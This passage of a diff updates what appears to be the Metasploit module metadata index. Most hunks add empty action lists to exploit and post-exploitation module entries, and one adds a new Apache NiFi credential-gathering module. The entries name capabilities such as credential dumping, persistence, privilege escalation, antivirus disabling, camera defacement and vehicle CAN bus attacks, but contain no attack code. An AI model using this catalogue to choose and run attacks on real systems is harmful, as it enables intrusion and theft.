"exploit_windows/local/persistence": { "name": "Windows Persistent Registry Startup Payload Installer", @@ -164978,7 +171884,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/persistence_image_exec_options": { "name": "Windows Silent Process Exit Persistence", @@ -165022,7 +171931,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/persistence_service": { "name": "Windows Persistent Service Installer", @@ -165064,7 +171976,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/plantronics_hub_spokesupdateservice_privesc": { "name": "Plantronics Hub SpokesUpdateService Privilege Escalation", @@ -165115,7 +172030,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/powershell_cmd_upgrade": { "name": "Windows Command Shell Upgrade (Powershell)", @@ -165157,7 +172075,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/powershell_remoting": { "name": "Powershell Remoting Remote Command Execution", @@ -165201,7 +172122,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ppr_flatten_rec": { "name": "Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation", @@ -165254,7 +172178,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ps_persist": { "name": "Powershell Payload Execution", @@ -165297,7 +172224,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ps_wmi_exec": { "name": "Authenticated WMI Exec via Powershell", @@ -165339,7 +172269,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/pxeexploit": { "name": "PXE Exploit Server", @@ -165431,7 +172364,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/registry_persistence": { "name": "Windows Registry Only Persistence", @@ -165474,7 +172410,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ricoh_driver_privesc": { "name": "Ricoh Driver Privilege Escalation", @@ -165528,7 +172467,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/run_as": { "name": "Windows Run Command As User", @@ -165571,7 +172513,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/s4u_persistence": { "name": "Windows Manage User Level Persistent Payload Installer", @@ -165615,7 +172560,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/service_permissions": { "name": "Windows Escalate Service Permissions Local Privilege Escalation", @@ -165659,7 +172607,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/srclient_dll_hijacking": { "name": "Windows Server 2012 SrClient DLL hijacking", @@ -165712,7 +172663,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/tokenmagic": { "name": "Windows Privilege Escalation via TokenMagic (UAC Bypass)", @@ -165770,7 +172724,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/unquoted_service_path": { "name": "Windows Unquoted Service Path Privilege Escalation", @@ -165825,7 +172782,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/virtual_box_guest_additions": { "name": "VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation", @@ -165869,7 +172829,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/virtual_box_opengl_escape": { "name": "VirtualBox 3D Acceleration Virtual Machine Escape", @@ -165916,7 +172879,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/vss_persistence": { "name": "Persistent Payload in Windows Volume Shadow Copy", @@ -165969,7 +172935,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/webexec": { "name": "WebEx Local Service Permissions Exploit", @@ -166014,7 +172983,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/win_error_cve_2023_36874": { "name": "Microsoft Error Reporting Local Privilege Elevation Vulnerability", @@ -166072,7 +173044,10 @@ "shell", "powershell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/windscribe_windscribeservice_priv_esc": { "name": "Windscribe WindscribeService Named Pipe Privilege Escalation", @@ -166123,7 +173098,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/wmi": { "name": "Windows Management Instrumentation (WMI) Remote Command Execution", @@ -166167,7 +173145,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/wmi_persistence": { "name": "WMI Event Subscription Persistence", @@ -166210,7 +173191,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/lotus/domino_http_accept_language": { "name": "IBM Lotus Domino Web Server Accept-Language Stack Buffer Overflow", @@ -177050,7 +184034,7 @@ "MOF upload", "Command" ], - "mod_time": "2022-05-05 16:43:10 +0000", + "mod_time": "2023-11-24 14:30:40 +0000", "path": "/modules/exploits/windows/smb/psexec.rb", "is_install_path": true, "ref_name": "windows/smb/psexec", @@ -177059,8 +184043,13 @@ "default_credential": false, "notes": { }, - "session_types": false, - "needs_cleanup": null + "session_types": [ + "SMB" + ], + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/smb/smb_delivery": { "name": "SMB Delivery", @@ -236225,7 +243214,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_android/capture/screen": { "name": "Android Screen Capture", @@ -236262,7 +243254,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_android/gather/hashdump": { "name": "Android Gather Dump Password Hashes for Android Systems", @@ -236301,7 +243296,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_android/gather/sub_info": { "name": "extracts subscriber info from target device", @@ -236338,7 +243336,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_android/gather/wireless_ap": { "name": "Displays wireless SSIDs and PSKs", @@ -236376,7 +243377,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_android/local/koffee": { "name": "KOFFEE - Kia OFFensivE Exploit", @@ -236425,7 +243429,89 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "CAMERA_REVERSE_OFF", + "description": "It hides the parking camera video stream" + }, + { + "name": "CAMERA_REVERSE_ON", + "description": "It shows the parking camera video stream" + }, + { + "name": "CLUSTER_CHANGE_LANGUAGE", + "description": "It changes the cluster language" + }, + { + "name": "CLUSTER_RADIO_INFO", + "description": "It shows radio info in the instrument cluster " + }, + { + "name": "CLUSTER_RANDOM_NAVIGATION", + "description": "It shows navigation signals in the instrument cluster " + }, + { + "name": "CLUSTER_ROUNDABOUT_FARAWAY", + "description": "It shows a round about signal with variable distance in the instrument cluster " + }, + { + "name": "CLUSTER_SPEED_LIMIT", + "description": "It changes the speed limit shown in the instrument cluster" + }, + { + "name": "HIGH_SCREEN_BRIGHTNESS", + "description": "It increases the head unit screen brightness" + }, + { + "name": "INJECT_CUSTOM", + "description": "It injects custom micom payloads" + }, + { + "name": "LOW_FUEL_WARNING", + "description": "It pops up a low fuel message on the head unit" + }, + { + "name": "LOW_SCREEN_BRIGHTNESS", + "description": "It decreases the head unit screen brightness" + }, + { + "name": "MAX_RADIO_VOLUME", + "description": "It sets the radio volume to the max" + }, + { + "name": "NAVIGATION_FULL_SCREEN", + "description": "It pops up the navigation app window" + }, + { + "name": "REDUCE_RADIO_VOLUME", + "description": "It decreases the radio volume" + }, + { + "name": "SEEK_DOWN_SEARCH", + "description": "It triggers the seek down radio frequency search" + }, + { + "name": "SEEK_UP_SEARCH", + "description": "It triggers the seek up radio frequency search" + }, + { + "name": "SET_NAVIGATION_ADDRESS", + "description": "It pops up the navigation address window" + }, + { + "name": "SWITCH_OFF_HU", + "description": "It switches off the head unit" + }, + { + "name": "SWITCH_ON_HU", + "description": "It switches on the head unit" + }, + { + "name": "TOGGLE_RADIO_MUTE", + "description": "It mutes/umutes the radio" + } + ] }, "post_android/manage/remove_lock": { "name": "Android Settings Remove Device Locks (4.0-4.3)", @@ -236465,7 +243551,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_android/manage/remove_lock_root": { "name": "Android Root Remove Device Locks (root)", @@ -236502,7 +243591,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_apple_ios/gather/ios_image_gather": { "name": "iOS Image Gatherer", @@ -236538,7 +243630,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_apple_ios/gather/ios_text_gather": { "name": "iOS Text Gatherer", @@ -236574,7 +243669,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_bsd/gather/hashdump": { "name": "BSD Dump Password Hashes", @@ -236611,7 +243709,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_firefox/gather/cookies": { "name": "Firefox Gather Cookies from Privileged Javascript Shell", @@ -236647,7 +243748,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_firefox/gather/history": { "name": "Firefox Gather History from Privileged Javascript Shell", @@ -236683,7 +243787,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_firefox/gather/passwords": { "name": "Firefox Gather Passwords from Privileged Javascript Shell", @@ -236719,7 +243826,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_firefox/gather/xss": { "name": "Firefox XSS", @@ -236755,7 +243865,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_firefox/manage/webcam_chat": { "name": "Firefox Webcam Chat on Privileged Javascript Shell", @@ -236791,7 +243904,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/automotive/can_flood": { "name": "CAN Flood", @@ -236827,7 +243943,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/automotive/canprobe": { "name": "Module to Probe Different Data Points in a CAN Packet", @@ -236863,7 +243982,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/automotive/diagnostic_state": { "name": "Diagnostic State", @@ -236908,7 +244030,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/automotive/ecu_hard_reset": { "name": "ECU Hard Reset", @@ -236953,7 +244078,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/automotive/getvinfo": { "name": "Get the Vehicle Information Such as the VIN from the Target Module", @@ -236989,7 +244117,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/automotive/identifymodules": { "name": "Scan CAN Bus for Diagnostic Modules", @@ -237025,7 +244156,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/automotive/malibu_overheat": { "name": "Sample Module to Flood Temp Gauge on 2006 Malibu", @@ -237061,7 +244195,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/automotive/mazda_ic_mover": { "name": "Mazda 2 Instrument Cluster Accelorometer Mover", @@ -237097,7 +244234,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/automotive/pdt": { "name": "Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)", @@ -237136,7 +244276,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/rftransceiver/rfpwnon": { "name": "Brute Force AM/OOK (ie: Garage Doors)", @@ -237172,7 +244315,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/rftransceiver/transmitter": { "name": "RF Transceiver Transmitter", @@ -237208,7 +244354,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_hardware/zigbee/zstumbler": { "name": "Sends Beacons to Scan for Active ZigBee Networks", @@ -237244,7 +244393,10 @@ "session_types": [ "hwbridge" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/busybox/enum_connections": { "name": "BusyBox Enumerate Connections", @@ -237280,7 +244432,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/busybox/enum_hosts": { "name": "BusyBox Enumerate Host Names", @@ -237316,7 +244471,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/busybox/jailbreak": { "name": "BusyBox Jailbreak ", @@ -237352,7 +244510,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/busybox/ping_net": { "name": "BusyBox Ping Network Enumeration", @@ -237388,7 +244549,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/busybox/set_dmz": { "name": "BusyBox DMZ Configuration", @@ -237424,7 +244588,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/busybox/set_dns": { "name": "BusyBox DNS Configuration", @@ -237460,7 +244627,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/busybox/smb_share_root": { "name": "BusyBox SMB Sharing", @@ -237496,7 +244666,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/busybox/wget_exec": { "name": "BusyBox Download and Execute", @@ -237532,7 +244705,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/dos/xen_420_dos": { "name": "Linux DoS Xen 4.2.0 2012-5525", @@ -237569,7 +244745,61 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] + }, + "post_linux/gather/apache_nifi_credentials": { + "name": "Apache NiFi Credentials Gather", + "fullname": "post/linux/gather/apache_nifi_credentials", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "h00die", + "Topaco" + ], + "description": "This module will grab Apache NiFi credentials from various files on Linux.", + "references": [ + "URL-https://stackoverflow.com/questions/77391210/python-vs-ruby-aes-pbkdf2", + "URL-https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#nifi_sensitive_props_key" + ], + "platform": "Linux,Unix", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-11-07 18:55:42 +0000", + "path": "/modules/post/linux/gather/apache_nifi_credentials.rb", + "is_install_path": true, + "ref_name": "linux/gather/apache_nifi_credentials", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/checkcontainer": { "name": "Linux Gather Container Detection", @@ -237606,7 +244836,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/checkvm": { "name": "Linux Gather Virtual Environment Detection", @@ -237643,7 +244876,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/ecryptfs_creds": { "name": "Gather eCryptfs Metadata", @@ -237679,7 +244915,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/enum_commands": { "name": "Gather Available Shell Commands", @@ -237725,7 +244964,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/enum_configs": { "name": "Linux Gather Configurations", @@ -237762,7 +245004,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/enum_containers": { "name": "Linux Container Enumeration", @@ -237808,7 +245053,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/enum_nagios_xi": { "name": "Nagios XI Enumeration", @@ -237845,7 +245093,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "post_linux/gather/enum_network": { "name": "Linux Gather Network Information", @@ -237883,7 +245134,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/enum_protections": { "name": "Linux Gather Protection Enumeration", @@ -237920,7 +245174,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/enum_psk": { "name": "Linux Gather NetworkManager 802-11-Wireless-Security Credentials", @@ -237966,7 +245223,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/enum_system": { "name": "Linux Gather System and User Information", @@ -238007,7 +245267,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/enum_users_history": { "name": "Linux Gather User History", @@ -238044,7 +245307,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/f5_loot_mcp": { "name": "F5 Big-IP Gather Information from MCP Datastore", @@ -238092,7 +245358,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/gnome_commander_creds": { "name": "Linux Gather Gnome-Commander Creds", @@ -238129,7 +245398,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/gnome_keyring_dump": { "name": "Gnome-Keyring Dump", @@ -238165,7 +245437,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/haserl_read": { "name": "Haserl Arbitrary File Reader", @@ -238214,7 +245489,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/hashdump": { "name": "Linux Gather Dump Password Hashes for Linux Systems", @@ -238251,7 +245529,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/manageengine_password_manager_creds": { "name": "Linux Gather ManageEngine Password Manager Pro Password Extractor", @@ -238301,7 +245582,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/mimipenguin": { "name": "MimiPenguin", @@ -238351,7 +245635,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/mount_cifs_creds": { "name": "Linux Gather Saved mount.cifs/mount.smbfs Credentials", @@ -238388,7 +245675,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/openvpn_credentials": { "name": "OpenVPN Gather Credentials", @@ -238426,7 +245716,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/phpmyadmin_credsteal": { "name": "Phpmyadmin credentials stealer", @@ -238463,7 +245756,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/pptpd_chap_secrets": { "name": "Linux Gather PPTP VPN chap-secrets Credentials", @@ -238500,7 +245796,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/tor_hiddenservices": { "name": "Linux Gather TOR Hidden Services", @@ -238537,7 +245836,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/gather/vcenter_secrets_dump": { "name": "VMware vCenter Secrets Dump", @@ -238588,7 +245890,13 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "Dump", + "description": "Dump vCenter Secrets" + } + ] }, "post_linux/manage/adduser": { "name": "Add a new user to the system", @@ -238634,7 +245942,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/manage/disable_clamav": { "name": "Disable ClamAV", @@ -238680,7 +245991,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/manage/dns_spoofing": { "name": "Native DNS Spoofing module", @@ -238717,7 +246031,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/manage/download_exec": { "name": "Linux Manage Download and Execute", @@ -238754,7 +246071,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/manage/geutebruck_post_exp": { "name": "Geutebruck Camera Deface", @@ -238791,7 +246111,21 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "CHANGE_IMAGE", + "description": "Display an arbitrary image instead of the video stream" + }, + { + "name": "FREEZE_CAMERA", + "description": "Freeze the camera and display the last image taken from the video stream" + }, + { + "name": "RESUME_STREAM", + "description": "Resume the camera's video stream and display the current live feed" + } + ] }, "post_linux/manage/iptables_removal": { "name": "IPTABLES rules removal", @@ -238828,7 +246162,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/manage/pseudo_shell": { "name": "Pseudo-Shell Post-Exploitation Module", @@ -238865,7 +246202,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_linux/manage/sshkey_persistence": { "name": "SSH Key Persistence", @@ -238902,7 +246242,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/escalate/aws_create_iam_user": { "name": "Create an AWS IAM User", @@ -238940,7 +246283,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/escalate/cups_root_file_read": { "name": "CUPS 1.6.1 Root File Read", @@ -238979,7 +246325,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/escalate/metasploit_pcaplog": { "name": "Multi Escalate Metasploit pcap_log Local Privilege Escalation", @@ -239018,7 +246367,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/apple_ios_backup": { "name": "Windows Gather Apple iOS MobileSync Backup File Collection", @@ -239056,7 +246408,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/aws_ec2_instance_metadata": { "name": "Gather AWS EC2 Instance Metadata", @@ -239093,7 +246448,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/aws_keys": { "name": "UNIX Gather AWS Keys", @@ -239131,7 +246489,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/check_malware": { "name": "Multi Gather Malware Verifier", @@ -239168,7 +246529,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/chrome_cookies": { "name": "Chrome Gather Cookies", @@ -239205,7 +246569,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/dbeaver": { "name": "Gather Dbeaver Passwords", @@ -239252,7 +246619,10 @@ "shell", "powershell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/dbvis_enum": { "name": "Multi Gather DbVisualizer Connections Settings", @@ -239289,7 +246659,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/dns_bruteforce": { "name": "Multi Gather DNS Forward Lookup Bruteforce", @@ -239326,7 +246699,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/dns_reverse_lookup": { "name": "Multi Gather DNS Reverse Lookup Scan", @@ -239363,7 +246739,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/dns_srv_lookup": { "name": "Multi Gather DNS Service Record Lookup Scan", @@ -239400,7 +246779,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/docker_creds": { "name": "Multi Gather Docker Credentials Collection", @@ -239436,7 +246818,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/enum_hexchat": { "name": "Linux Gather HexChat/XChat Enumeration", @@ -239483,7 +246868,21 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "ALL", + "description": "Collect both the configs and chat logs" + }, + { + "name": "CHATS", + "description": "Collect chat logs with a pattern" + }, + { + "name": "CONFIGS", + "description": "Collect config files" + } + ] }, "post_multi/gather/enum_software_versions": { "name": "Multiplatform Installed Software Version Enumerator", @@ -239529,7 +246928,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/enum_vbox": { "name": "Multi Gather VirtualBox VM Enumeration", @@ -239566,7 +246968,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/env": { "name": "Multi Gather Generic Operating System Environment Settings", @@ -239614,7 +247019,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/fetchmailrc_creds": { "name": "UNIX Gather .fetchmailrc Credentials", @@ -239650,7 +247058,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/filezilla_client_cred": { "name": "Multi Gather FileZilla FTP Client Credential Collection", @@ -239688,7 +247099,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/find_vmx": { "name": "Multi Gather VMWare VM Identification", @@ -239725,7 +247139,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/firefox_creds": { "name": "Multi Gather Firefox Signon Credential Collection", @@ -239764,7 +247181,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/gpg_creds": { "name": "Multi Gather GnuPG Credentials Collection", @@ -239802,7 +247222,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/grub_creds": { "name": "Gather GRUB Password", @@ -239841,7 +247264,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/irssi_creds": { "name": "Multi Gather IRSSI IRC Password(s)", @@ -239877,7 +247303,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_multi/gather/jboss_gather": { 